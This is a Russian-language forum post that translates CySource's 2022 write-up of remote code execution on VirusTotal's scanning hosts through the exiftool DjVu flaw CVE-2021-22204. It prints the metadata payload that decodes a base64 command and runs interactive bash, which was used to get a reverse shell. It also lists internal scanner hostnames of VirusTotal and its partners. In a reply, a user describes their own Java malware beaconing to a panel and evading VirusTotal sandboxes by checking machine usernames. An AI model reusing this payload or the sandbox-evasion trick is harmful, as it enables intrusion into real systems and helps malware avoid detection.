Статья [Перевод] Эксплуатация RCE в VirusTotal

[r_as]

Эксплуатация RCE уязвимости на платформе VirusTotal с целью получения доступа к её различным возможностям сканирования.

После тщательного исследования, проведенного CySource, был обнаружен способ удаленного выполнения кода на платформе VirusTotal, а также возможность получить доступ к её возможностям сканирования.
Информация о VirusTotal:

Приложение virustotal.com имеет более 70 антивирусных сканеров, которые сканируют файлы и URL, загруженные пользователями.

Изначально, идея эксплуатирования заключалась в использовании CVE-2021-22204, чтобы сканеры запустили наш payload сразу после запуска exiftool

Техническая часть:

Первый шаг – загрузка файла .djvu с payload на hххps://www.virustotal . com/gui/:

content: (metadata "\c${system('bash -c \"{echo,BASE64-ENCODED-COMMAND-TO-BE-EXECUTED }|{base64,-d }|{bash,-i }\" ; clear') };")

Virustotal проанализировал файл и payload добавленный к метаданным файла не был обнаружен.

Согласно документации (hххps://support.virustotal . com/hc/en-us/articles/115002126889-How-it-works),
Virustotal использует несколько сканеров. Приложение отправило наш файл нескольким хостам на сканирование:

На хостах VirusTotal, во время запуска exiftool, согласно информации о CVE-2021-22204, вместо обнаружения метаданных файла, exiftool запускает наш payload, отправляя reverse shell на нашу машину:

После этого мы заметили, что это не только среда контролируемая самим Google, но и среды, связанные с внутренними сканерами партнеров VirusTotal.

Во время тестов получилось получить доступ к более 50 внутренним хостам.
Хосты, идентифицированные в пределах внутренней сети:

172-24-241-97.kamala-prober.zion-rel.svc.cluster.local
 kubernetes.default.svc.cluster.local - 172.19.0.1
scanner--rel--kaspersky-244.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner--rel--kaspersky-249.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner--rel--kaspersky-279.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner--rel--kaspersky-339.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner--rel--typer-7b4c979bc9-bskr8  scanner--zzbm--typer-7b4c979bc9-cf5f7
gaea.qianxin-inc.cn.qianxin-inc.cn
sandk8s23.dlc.zzbm.360es.cn
sandk8s24.dlc.zzbm.qianxin-inc.cn
sandk8s25.dlc.zzbm.qianxin-inc.cn
sandk8s26.dlc.zzbm.360es.cn
sandk8s27.dlc.zzbm.360es.cn
sandk8s28.dlc.zzbm.qianxin-inc.cn
etc...

Интересно, что при каждой загрузке файла с новым хешем, содержащим новый payload, VirusTotal направлял файл другим хостам:

В пределах сетей были найдены различные типы сервисов, такие как: MySQL, Kubernetes, база данных Oracle, приложения HTTP и HTTPS, метрические приложения, SSH, и др.:

В процесе атаки, мы получили конфиденциальную и критическую информацию, такую как: токены и сертификаты Kubernetes, информация о сервисных настройках, исходные коды, логи, и др.

Перевод, оригинал тут hxxps://www.cysrc . com/blog/virus-total-blog. Дата: April 26, 2022. (автор поменял чуть текст после релиза).

 

[Lumma]

Уже давно это заметил, еще года 3 или 4 назад, когда я загрузил свой первый малвар(на java) на вт, чтобы проверить, что у него там с антивирусами вообще, на панель отстучались куча машин с именами JohnDoe и подобными, через двое суток общее количество отстучавших машин было 240 штук. И они постоянно прибавлялись. Уж не знаю что они там с моим файлом делали. Джава выполняется в виртуальной машине JVM и антивирусом особо не палится, но даже тогда я внес правку, и создал массив имен пользователей VT(JohnDoe, Alex и т.д), и сделал так, чтобы если билд попадал на ВТ - он не стучал. Чтобы панель не спамить. А сейчас я понял, что походу можно было проверять тогда имя машины и тупо пейлоад не запускать, обходя таким образом детекты вирус тотала))